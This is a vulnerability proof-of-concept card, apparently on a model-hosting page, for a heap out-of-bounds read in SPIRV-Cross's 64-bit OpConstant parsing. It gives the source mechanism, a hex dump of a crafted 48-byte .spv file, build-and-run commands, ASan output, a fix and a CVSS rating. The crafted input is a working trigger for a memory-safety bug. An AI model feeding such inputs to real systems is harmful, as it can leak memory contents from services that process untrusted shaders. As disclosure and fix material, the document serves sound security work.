You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

PoC β€” SPIRV-Cross Parser::parse OpConstant 64-bit ops[3] heap OOB read (CWE-125)

Heap out-of-bounds read in KhronosGroup/SPIRV-Cross when parsing a crafted .spv: a 64-bit OpConstant/OpSpecConstant whose declared word count is one short (count=4) makes the constant handler read the missing high-literal word (ops[3]) past the SPIR-V word vector. Reproduced end-to-end with AddressSanitizer in the real spirv-cross binary.

  • Repo/version: KhronosGroup/SPIRV-Cross main @ 146679f (2026-06-01)
  • Sink: spirv_parser.cpp:1116 (OpConstant/OpSpecConstant handler)

Mechanism (source-confirmed)

case OpSpecConstant: case OpConstant: {
  uint32_t id = ops[1];
  auto &type = get<SPIRType>(ops[0]);
  ...
  if (type.width > 32)
    set<SPIRConstant>(id, ops[0], ops[2] | (uint64_t(ops[3]) << 32), op == OpSpecConstant);  // :1116  ops[3] unchecked
  else
    set<SPIRConstant>(id, ops[0], ops[2], op == OpSpecConstant);
}

ops = stream(instruction) validates only instr.offset + instr.length <= ir.spirv.size(), where instr.length = count - 1. So count=4 (length=3) validates ops[0..2] only; the type.width > 32 branch then reads ops[3] with no check. When the malformed OpConstant is the final instruction, ops[3] == spirv[size()] β€” one word past the std::vector<uint32_t> ir.spirv.

Impact / FP-9: the OOB word is folded into the 64-bit constant value (ops[2] | (ops[3]<<32)) and stored in SPIRConstant (retrievable via scalar_u64(), and it influences reflected / cross-compiled output). This is an out-of-bounds read consumed as data, not a pointer-deref/DoS.

Crafted .spv (spirvcross_opconstant_oob.spv, 48 bytes / 12 words)

07230203 00010000 00000000 00000003 00000000   # header (magic, v1.0, gen, bound=3, schema)
00030016 00000001 00000040                      # OpTypeFloat  %1 Width=64
0004002B 00000001 00000002 AAAAAAAA             # OpConstant   %1 %2 low=0xAAAAAAAA  (count=4, high word MISSING, LAST instr)

Reproduce

git clone https://github.com/KhronosGroup/SPIRV-Cross.git && cd SPIRV-Cross
cmake -B build -DCMAKE_CXX_FLAGS="-fsanitize=address -g -O1" -DSPIRV_CROSS_ENABLE_TESTS=OFF
cmake --build build -j
./build/spirv-cross spirvcross_opconstant_oob.spv

AddressSanitizer output (real binary)

==ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 4 at 0x504000000a00
    #0 spirv_cross::Parser::parse(Instruction const&)  spirv_parser.cpp:1116
    #1 spirv_cross::Parser::parse()                    spirv_parser.cpp:129
    #2 compile_iteration                               main.cpp:1241
0x504000000a00 is located 0 bytes after 48-byte region   (the ir.spirv vector<uint32_t>)
SUMMARY: AddressSanitizer: heap-buffer-overflow spirv_parser.cpp:1116 in spirv_cross::Parser::parse

OSS-Fuzz disclosure (honest)

SPIRV-Cross is covered by OSS-Fuzz's parser_fuzzer, which calls the real Parser::parse() on raw word input (it overwrites the magic/version, then parses). I checked for public issues/CVEs matching this OpConstant/OpSpecConstant 64-bit high-word OOB read and did not find an exact public duplicate. The crash is still present on current main and was reproduced end-to-end with ASan in the real CLI. The likely reason this can survive fuzzing is that the malformed instruction only becomes ASan-visible when it is the final instruction; the same malformed instruction placed before another word follows the same parser code path but reads in-bounds from the next instruction word β€” an EOF boundary-placement condition that does not appear to create additional coverage over the in-bounds variant. This makes long-term non-discovery plausible, not guaranteed.

Fix

Before the type.width > 32 branch, require length >= 4 (i.e. count >= 5) for a 64-bit constant, or bounds-check ops[3] against the instruction length.

CWE / CVSS

CWE-125 (Out-of-bounds Read). CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L β€” Medium.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support